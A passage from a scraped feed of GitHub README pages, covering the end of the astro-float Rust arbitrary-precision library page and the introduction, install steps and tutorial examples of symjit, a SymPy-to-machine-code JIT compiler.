&lt;span&gt;use&lt;/span&gt; astro_float&lt;span&gt;::&lt;/span&gt;ctx&lt;span&gt;::&lt;/span&gt;&lt;span&gt;Context&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;use&lt;/span&gt; astro_float&lt;span&gt;::&lt;/span&gt;expr&lt;span&gt;;&lt;/span&gt;

&lt;span&gt;// Create a context with precision 1024, and rounding to even.&lt;/span&gt;
&lt;span&gt;let&lt;/span&gt; &lt;span&gt;mut&lt;/span&gt; ctx = &lt;span&gt;Context&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1024&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;RoundingMode&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;ToEven&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; 
    &lt;span&gt;Consts&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;expect&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;quot;Constants cache initialized&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;
    -&lt;span&gt;10000&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;10000&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;

&lt;span&gt;// Compute pi: pi = 6*arctan(1/sqrt(3))&lt;/span&gt;
&lt;span&gt;let&lt;/span&gt; pi = &lt;span&gt;expr&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;6&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; atan&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt; / sqrt&lt;span&gt;(&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;mut&lt;/span&gt; ctx&lt;span&gt;)&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;

&lt;span&gt;// Use library&amp;#39;s constant value for verifying the result.&lt;/span&gt;
&lt;span&gt;let&lt;/span&gt; pi_lib = ctx&lt;span&gt;.&lt;/span&gt;&lt;span&gt;const_pi&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;

&lt;span&gt;// Compare computed constant with library&amp;#39;s constant&lt;/span&gt;
&lt;span&gt;assert_eq&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;pi&lt;span&gt;.&lt;/span&gt;cmp&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;pi_lib&lt;span&gt;)&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;Some&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div&gt;&lt;h2&gt;Performance&lt;/h2&gt;&lt;/div&gt;
&lt;p&gt;Benchmark can be found here: &lt;a href=&quot;https://github.com/stencillogic/bigfloat-bench&quot;&gt;https://github.com/stencillogic/bigfloat-bench&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;&lt;h2&gt;Contributing&lt;/h2&gt;&lt;/div&gt;
&lt;p&gt;Issues regarding bugs or new features can be opened here: &lt;a href=&quot;https://github.com/stencillogic/astro-float/issues&quot;&gt;https://github.com/stencillogic/astro-float/issues&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For more information please check &lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/CONTRIBUTING.md&quot;&gt;CONTRIBUTING.md&lt;/a&gt;&lt;/p&gt;
&lt;/article&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;

&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
  &lt;h2&gt;About&lt;/h2&gt;

      &lt;p&gt;
        Arbitrary precision floating point numbers library
      &lt;/p&gt;

    &lt;h3&gt;Topics&lt;/h3&gt;
    &lt;div&gt;
        &lt;div&gt;
      &lt;a href=&quot;https://github.com/topics/rust&quot;&gt;
  rust
&lt;/a&gt;
      &lt;a href=&quot;https://github.com/topics/arbitrary-precision&quot;&gt;
  arbitrary-precision
&lt;/a&gt;
      &lt;a href=&quot;https://github.com/topics/bigfloat&quot;&gt;
  bigfloat
&lt;/a&gt;
      &lt;a href=&quot;https://github.com/topics/multiple-precision&quot;&gt;
  multiple-precision
&lt;/a&gt;
  &lt;/div&gt;

    &lt;/div&gt;

    &lt;h3&gt;Resources&lt;/h3&gt;
    &lt;div&gt;
      
        
        Readme
    &lt;/div&gt;

  
    &lt;h3&gt;License&lt;/h3&gt;
  &lt;div&gt;
    
      
     MIT license
    
  &lt;/div&gt;




    &lt;h3&gt;Contributing&lt;/h3&gt;
    &lt;div&gt;
      
        
        Contributing
      
    &lt;/div&gt;


  
  

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;

    &lt;div&gt;
      &lt;a href=&quot;https://github.com/stencillogic/astro-float/activity&quot;&gt;
        &lt;span&gt;Activity&lt;/span&gt;&lt;/a&gt;    &lt;/div&gt;


    &lt;h3&gt;Stars&lt;/h3&gt;
    &lt;div&gt;
      &lt;a href=&quot;https://github.com/stencillogic/astro-float/stargazers&quot;&gt;
        &lt;strong&gt;117&lt;/strong&gt;
        stars&lt;/a&gt;    &lt;/div&gt;

    &lt;h3&gt;Watchers&lt;/h3&gt;
    &lt;div&gt;
      &lt;a href=&quot;https://github.com/stencillogic/astro-float/watchers&quot;&gt;
        &lt;strong&gt;3&lt;/strong&gt;
        watching&lt;/a&gt;    &lt;/div&gt;

    &lt;h3&gt;Forks&lt;/h3&gt;
    &lt;div&gt;
      &lt;a href=&quot;https://github.com/stencillogic/astro-float/forks&quot;&gt;
        &lt;strong&gt;10&lt;/strong&gt;
        forks&lt;/a&gt;    &lt;/div&gt;


    &lt;div&gt;
      &lt;a href=&quot;https://github.com/contact/report-content?content_url=https%3A%2F%2Fgithub.com%2Fstencillogic%2Fastro-float&amp;amp;report=stencillogic+%28user%29&quot;&gt;
          Report repository
&lt;/a&gt;    &lt;/div&gt;
&lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

  
  
  
  
  
      &lt;div&gt;
        &lt;div&gt;
          
  

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;

        &lt;/div&gt;
      &lt;/div&gt;

  
    &lt;div&gt;
      &lt;div&gt;
        
  
  &lt;h2&gt;
    &lt;a href=&quot;https://github.com/stencillogic/astro-float/graphs/contributors&quot;&gt;Contributors&lt;/a&gt;  &lt;/h2&gt;

  &lt;ul&gt;
      &lt;li&gt;
        
      &lt;/li&gt;
      &lt;li&gt;
        
      &lt;/li&gt;
      &lt;li&gt;
        
      &lt;/li&gt;
  &lt;/ul&gt;

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;

      &lt;/div&gt;
    &lt;/div&gt;

  
      &lt;div&gt;
        &lt;div&gt;
          &lt;h2&gt;Languages&lt;/h2&gt;
&lt;div&gt;
  &lt;span&gt;
    
&lt;/span&gt;&lt;/div&gt;
&lt;ul&gt;
    &lt;li&gt;
        &lt;a href=&quot;https://github.com/stencillogic/astro-float/search?l=rust&quot;&gt;
          
          &lt;span&gt;Rust&lt;/span&gt;
          &lt;span&gt;100.0%&lt;/span&gt;
        &lt;/a&gt;
    &lt;/li&gt;
&lt;/ul&gt;

        &lt;/div&gt;
      &lt;/div&gt;

  
  &lt;/div&gt;
&lt;/div&gt;&lt;/div&gt;</content:encoded>
</item>
<item>
<title>GitHub - siravan/symjit · GitHub</title>
<link>https://github.com/siravan/symjit</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/40fe486eee40a79de4e46180d4036a8678a52e752469d154663bc8a946bf3233/siravan/symjit"></enclosure>
<guid isPermaLink="false">P5_DBQShjZ0aCYyTIMP2AUhG5hmNhPOPOL2cXA==</guid>
<pubDate>Sat, 06 Jun 2026 05:32:07 +0000</pubDate>
<description>Contribute to siravan/symjit development by creating an account on GitHub.</description>
<content:encoded>&lt;div&gt;&lt;h1&gt;Introduction&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/siravan/symjit/blob/v218/NEWS.md&quot;&gt;Release Notes&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;SymJit&lt;/strong&gt; is a lightweight just-in-time (JIT) compiler that directly translates &lt;em&gt;SymPy&lt;/em&gt; expressions into machine code without using a separate library such as LLVM. Its main utility is to generate fast numerical functions to feed into various numerical solvers provided by the NumPy/SciPy ecosystem, including numerical integration routines, ordinary differential equation (ODE) solvers, and image filtering functions. It is also able to generate &lt;code&gt;LowLevelCallable&lt;/code&gt; functions for better coupling to certain fast Scipy numerical functions.&lt;/p&gt;&lt;p&gt;SymJit has two different code-generating backends. The default is a Rust library with minimum external dependencies. The Rust backend generates &lt;strong&gt;AMD64&lt;/strong&gt; (also known as x86-64), &lt;strong&gt;ARM64&lt;/strong&gt; (also known as aarch64), and 64-bit &lt;strong&gt;RISC-V&lt;/strong&gt; (riscv64) machine code on Linux, Windows, and Darwin (MacOS) platforms. The Python backend is written in plain Python, relies solely on the Python standard library and NumPy, is considered obsolete, and will be moved to a separate package as of version 3.0.&lt;/p&gt;&lt;p&gt;The Rust backend generates AVX-compatible code by default for x86-64/AMD64 processors but can downgrade to SSE2 instructions if the processor does not support AVX or if explicitly requested by passing &lt;code&gt;ty=&amp;#39;amd-sse&amp;#39;&lt;/code&gt; to compile functions (see below). SSE2 instructions were introduced in 2000, meaning that virtually all current 64-bit x86-64 processors support them. Intel introduced the AVX instruction set in 2011; therefore, most processors support it. In version 3.0, Symjit will move to a minimum of &lt;code&gt;x86-64-v3&lt;/code&gt; profile.&lt;/p&gt;&lt;p&gt;On ARM64 processors, both the Rust and Python backends generate code for the aarch64 instruction set. ARM32 and IA32 are not supported.&lt;/p&gt;&lt;p&gt;SymJit has three companion packages:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/siravan/funcbuilder&quot;&gt;FuncBuilder&lt;/a&gt; provides a more general code generator akin to &lt;a href=&quot;https://github.com/numba/llvmlite&quot;&gt;llvmlite&lt;/a&gt;. It is currently in the early stages of development.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/siravan/SymJit.jl&quot;&gt;SymJit.jl&lt;/a&gt; is a Julia wrapper around the SymJit&amp;#39;s Rust library and works with Julia &lt;a href=&quot;https://docs.sciml.ai/Symbolics/stable/&quot;&gt;Symbolics&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/siravan/JitEngine.jl&quot;&gt;JitEngine.jl&lt;/a&gt; is a port of the Symjit&amp;#39;s code generator to Julia with no binary dependecy. Similar to SymJit.jl, it works and uses Julia &lt;a href=&quot;https://docs.sciml.ai/Symbolics/stable/&quot;&gt;Symbolics&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Moreover, SymJit can also generate JIT code for the &lt;a href=&quot;https://github.com/siravan/symjit/blob/v218/docs/SYMBOLICA.md&quot;&gt;Symbolica&lt;/a&gt; computer algebra system.&lt;/p&gt;&lt;div&gt;&lt;h1&gt;Installing symjit&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;Installing SymJit from the &lt;code&gt;conda-forge&lt;/code&gt; channel can be achieved by adding &lt;code&gt;conda-forge&lt;/code&gt; to your channels with:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;conda config --add channels conda-forge
conda config --set channel_priority strict&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once the &lt;code&gt;conda-forge&lt;/code&gt; channel has been enabled, SymJit can be installed with &lt;code&gt;conda&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;conda install symjit&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After installation, you can update to the latest version by:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;conda update -c conda-forge symjit&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Another way to install SymJit is to use &lt;code&gt;mamba&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;mamba install symjit&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is possible to list all of the versions of SymJit available on your platform with &lt;code&gt;conda&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;conda search symjit --channel conda-forge&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;or with &lt;code&gt;mamba&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;mamba search symjit --channel conda-forge&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Alternatively, &lt;code&gt;mamba repoquery&lt;/code&gt; may provide more information:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;# Search all versions available on your platform:
mamba repoquery search symjit --channel conda-forge

# List packages depending on `symjit`:
mamba repoquery whoneeds symjit --channel conda-forge

# List dependencies of `symjit`:
mamba repoquery depends symjit --channel conda-forge&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can also install symjit from pypi using pip:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;python -m pip install symjit&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, the pip install may not include the correct binary Rust backend for different platforms and the conda-forge install is preferable.&lt;/p&gt;&lt;p&gt;Currently, &lt;strong&gt;RISC-V binaries are not available from conda-forge&lt;/strong&gt;. If you want to use SymJit on a RISC-V computer, you need to compile it from the source. See &lt;a href=&quot;https://github.com/siravan/symjit/blob/v218/docs/COMPILATION.md&quot;&gt;Compilation&lt;/a&gt; for details.&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;cd symjit
python -m pip install .&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For the last option, you need a working Rust compiler and toolchains.&lt;/p&gt;&lt;div&gt;&lt;h1&gt;Tutorial&lt;/h1&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;&lt;code&gt;compile_func&lt;/code&gt;: a fast substitute for &lt;code&gt;lambdify&lt;/code&gt;&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;SymJit is invoked by calling different &lt;code&gt;compile_*&lt;/code&gt; functions (or load a previously compiled function using &lt;code&gt;load_func&lt;/code&gt;, see below). The most basic is &lt;code&gt;compile_func&lt;/code&gt;, which behaves similarly to SymPy &lt;code&gt;lambdify&lt;/code&gt; function. While &lt;code&gt;lambdify&lt;/code&gt; translates SymPy expressions into regular Python functions, which in turn call numpy functions, &lt;code&gt;compile_func&lt;/code&gt; returns a callable object &lt;code&gt;Func&lt;/code&gt;, which is a thin wrapper over the jit code generated by the backends.&lt;/p&gt;&lt;p&gt;A simple example is&lt;/p&gt;&lt;p&gt;&lt;code&gt;compile_*&lt;/code&gt; functions support these &lt;a href=&quot;https://github.com/siravan/symjit/blob/v218/docs/FUNCTIONS.md&quot;&gt;operators and functions&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;code&gt;compile_func&lt;/code&gt; takes two mandatory arguments as &lt;code&gt;compile_func(states, eqs)&lt;/code&gt;. The first one, &lt;code&gt;states&lt;/code&gt;, is a list or tuple of SymPy symbols. The second argument, &lt;code&gt;eqs&lt;/code&gt;, is a list, a tuple, or a single expression. We can think of &lt;code&gt;states&lt;/code&gt; and &lt;code&gt;eqs&lt;/code&gt; as corresponding to function signature and body.&lt;/p&gt;&lt;p&gt;If &lt;code&gt;states&lt;/code&gt; has only one element, it can be passed directly. Similar to SymPy &lt;code&gt;lambdify&lt;/code&gt;, the output follows the form of the second argument to &lt;code&gt;compile_func&lt;/code&gt;. Therefore, if &lt;code&gt;f = compile_func([x, y], [x+y, x*y])&lt;/code&gt;, then &lt;code&gt;f(2, 3)&lt;/code&gt; returns a list. On the other hand, if &lt;code&gt;f = compile_func([x, y], (x+y, x*y))&lt;/code&gt;, the output will be &lt;code&gt;(5, 6)&lt;/code&gt;. The third form is a single scalar, such as if &lt;code&gt;f = compile_func([x, y], sin(x+y))&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;In addition, &lt;code&gt;compile_func&lt;/code&gt; accepts a named argument &lt;code&gt;params&lt;/code&gt;, which is a list of symbolic parameters. The output of &lt;code&gt;compile_func&lt;/code&gt;, say &lt;code&gt;f&lt;/code&gt;, is a callable object of type &lt;code&gt;Func&lt;/code&gt;. The signature of &lt;code&gt;f&lt;/code&gt; is &lt;code&gt;f(x_1,...,x_n,p_1,...,p_m)&lt;/code&gt;, where &lt;code&gt;x&lt;/code&gt;s are the state variables and &lt;code&gt;p&lt;/code&gt;s are the parameters. Therefore, &lt;code&gt;n = len(states)&lt;/code&gt; and &lt;code&gt;m = len(params)&lt;/code&gt;. For example,&lt;/p&gt;&lt;p&gt;By default, &lt;code&gt;compile_func&lt;/code&gt; uses the Rust backend. However, we can force the use of the Python backend by passing &lt;code&gt;backend=&amp;#39;python&amp;#39;&lt;/code&gt; to &lt;code&gt;compile_func&lt;/code&gt;. Moreover, if the binary library containing the Rust backend is unavailable or incompatible, symjit automatically switches to the Python backend. Note that the Python backend will be removed in version 3 of Symjit.&lt;/p&gt;&lt;p&gt;&lt;code&gt;compile_func&lt;/code&gt; helps generate functions to pass to numerical integration (quadrature) routines. The following example is adapted from scipy documentation:&lt;/p&gt;&lt;p&gt;The output of the returned callable is a numpy array with &lt;code&gt;dtype=&amp;#39;double&amp;#39;&lt;/code&gt;. Note that you can call &lt;code&gt;f&lt;/code&gt; by passing a list of numbers (say, &lt;code&gt;f(1.0, 2.0)&lt;/code&gt;) or a list of numpy arrays (for example, &lt;code&gt;f(np.asarray([1., 2.]), np.asarray([3., 4.]))&lt;/code&gt;. However, broadcasting is not supported. All the parameters should be passed as scalars even if the state variables are arrays. For example,&lt;/p&gt;&lt;p&gt;The following example uses the vectorization feature to calculate the &lt;a href=&quot;https://en.wikipedia.org/wiki/Mandelbrot_set&quot;&gt;Mandelbrot set&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;# examples/mandelbrot.py&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;numpy&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;np&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;matplotlib&lt;/span&gt;.&lt;span&gt;pyplot&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;plt&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;sympy&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;symbols&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;symjit&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;compile_func&lt;/span&gt;

&lt;span&gt;x&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt;, &lt;span&gt;a&lt;/span&gt;, &lt;span&gt;b&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;symbols&lt;/span&gt;(&lt;span&gt;&amp;quot;x y a b&amp;quot;&lt;/span&gt;)

&lt;span&gt;A&lt;/span&gt;, &lt;span&gt;B&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;np&lt;/span&gt;.&lt;span&gt;meshgrid&lt;/span&gt;(&lt;span&gt;np&lt;/span&gt;.&lt;span&gt;arange&lt;/span&gt;(&lt;span&gt;-&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;0.002&lt;/span&gt;), &lt;span&gt;np&lt;/span&gt;.&lt;span&gt;arange&lt;/span&gt;(&lt;span&gt;-&lt;/span&gt;&lt;span&gt;1.5&lt;/span&gt;, &lt;span&gt;1.5&lt;/span&gt;, &lt;span&gt;0.002&lt;/span&gt;))
&lt;span&gt;X&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;np&lt;/span&gt;.&lt;span&gt;zeros_like&lt;/span&gt;(&lt;span&gt;A&lt;/span&gt;)
&lt;span&gt;Y&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;np&lt;/span&gt;.&lt;span&gt;zeros_like&lt;/span&gt;(&lt;span&gt;A&lt;/span&gt;)

&lt;span&gt;f&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;compile_func&lt;/span&gt;([&lt;span&gt;a&lt;/span&gt;, &lt;span&gt;b&lt;/span&gt;, &lt;span&gt;x&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt;], [&lt;span&gt;x&lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;2&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;y&lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;2&lt;/span&gt; &lt;span&gt;+&lt;/span&gt; &lt;span&gt;a&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;x&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;y&lt;/span&gt; &lt;span&gt;+&lt;/span&gt; &lt;span&gt;b&lt;/span&gt;])

&lt;span&gt;for&lt;/span&gt; &lt;span&gt;i&lt;/span&gt; &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;(&lt;span&gt;20&lt;/span&gt;):
    &lt;span&gt;X&lt;/span&gt;, &lt;span&gt;Y&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;f&lt;/span&gt;(&lt;span&gt;A&lt;/span&gt;, &lt;span&gt;B&lt;/span&gt;, &lt;span&gt;X&lt;/span&gt;, &lt;span&gt;Y&lt;/span&gt;)

&lt;span&gt;Z&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;np&lt;/span&gt;.&lt;span&gt;hypot&lt;/span&gt;(&lt;span&gt;X&lt;/span&gt;, &lt;span&gt;Y&lt;/span&gt;)

&lt;span&gt;plt&lt;/span&gt;.&lt;span&gt;imshow&lt;/span&gt;(&lt;span&gt;Z&lt;/span&gt; &lt;span&gt;&amp;lt;&lt;/span&gt; &lt;span&gt;2&lt;/span&gt;)&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The output is:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/siravan/symjit/blob/v218/figures/mandelbrot.png&quot;&gt;&lt;img src=&quot;https://github.com/siravan/symjit/raw/v218/figures/mandelbrot.png&quot; alt=&quot;Mandelbrot&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Complex Numbers&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;Symjit supports complex numbers by passing &lt;code&gt;dtype = &amp;quot;complex128&amp;quot;&lt;/code&gt; to &lt;code&gt;compile&lt;/code&gt; functions:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;import&lt;/span&gt; &lt;span&gt;numpy&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;np&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;symjit&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;compile_func&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;sympy&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;symbols&lt;/span&gt;

&lt;span&gt;x&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;symbols&lt;/span&gt;(&lt;span&gt;&amp;#39;x y&amp;#39;&lt;/span&gt;)
&lt;span&gt;f&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;compile_func&lt;/span&gt;([&lt;span&gt;x&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt;], [&lt;span&gt;x&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;y&lt;/span&gt;, &lt;span&gt;x&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;y&lt;/span&gt;], &lt;span&gt;dtype&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;&amp;quot;complex128&amp;quot;&lt;/span&gt;)
&lt;span&gt;assert&lt;/span&gt;(&lt;span&gt;np&lt;/span&gt;.&lt;span&gt;all&lt;/span&gt;(&lt;span&gt;f&lt;/span&gt;(&lt;span&gt;1&lt;/span&gt; &lt;span&gt;+&lt;/span&gt; &lt;span&gt;2j&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;1j&lt;/span&gt;) &lt;span&gt;==&lt;/span&gt; [&lt;span&gt;4&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;1j&lt;/span&gt;, &lt;span&gt;5&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;5j&lt;/span&gt;]))

&lt;span&gt;f&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;compile_func&lt;/span&gt;([&lt;span&gt;x&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt;], &lt;span&gt;sin&lt;/span&gt;(&lt;span&gt;x&lt;/span&gt;) &lt;span&gt;+&lt;/span&gt; &lt;span&gt;y&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;sinh&lt;/span&gt;(&lt;span&gt;x&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;y&lt;/span&gt;), &lt;span&gt;dtype&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&amp;quot;complex128&amp;quot;&lt;/span&gt;)  &lt;span&gt;# fast function&lt;/span&gt;
&lt;span&gt;assert&lt;/span&gt;(&lt;span&gt;f&lt;/span&gt;(&lt;span&gt;2&lt;/span&gt;, &lt;span&gt;1j&lt;/span&gt;) &lt;span&gt;==&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;)&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;Optimization&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;The Rust backend supports different optimization methods, which can be controlled using &lt;code&gt;compile_func&lt;/code&gt; arguments. See &lt;a href=&quot;https://github.com/siravan/symjit/blob/v218/docs/OPTIMIZATION.md&quot;&gt;Optimization&lt;/a&gt; for details.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;&lt;code&gt;compile_ode&lt;/code&gt;: to solve ODEs&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;compile_ode&lt;/code&gt; returns a callable object (&lt;code&gt;OdeFunc&lt;/code&gt;) suitable for passing to &lt;code&gt;scipy.integrate.solve_ivp&lt;/code&gt; (the main Numpy/Scipy ODE solver). It takes three mandatory arguments as &lt;code&gt;compile_ode(iv, states, odes)&lt;/code&gt;. The first one (&lt;code&gt;iv&lt;/code&gt;) is a single symbol that specifies the independent variable. The second argument, &lt;code&gt;states&lt;/code&gt;, is a list of symbols defining the ODE state. The right-hand side of ODE equations is passed as the third argument, &lt;code&gt;odes.&lt;/code&gt; It is a list of expressions that define the ODE by providing the derivative of each state variable with respect to the independent variable. In addition, similar to &lt;code&gt;compile_func&lt;/code&gt;, &lt;code&gt;compile_ode&lt;/code&gt; can accept an optional &lt;code&gt;params&lt;/code&gt;. For example,&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;# examples/trig.py&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;scipy&lt;/span&gt;.&lt;span&gt;integrate&lt;/span&gt;
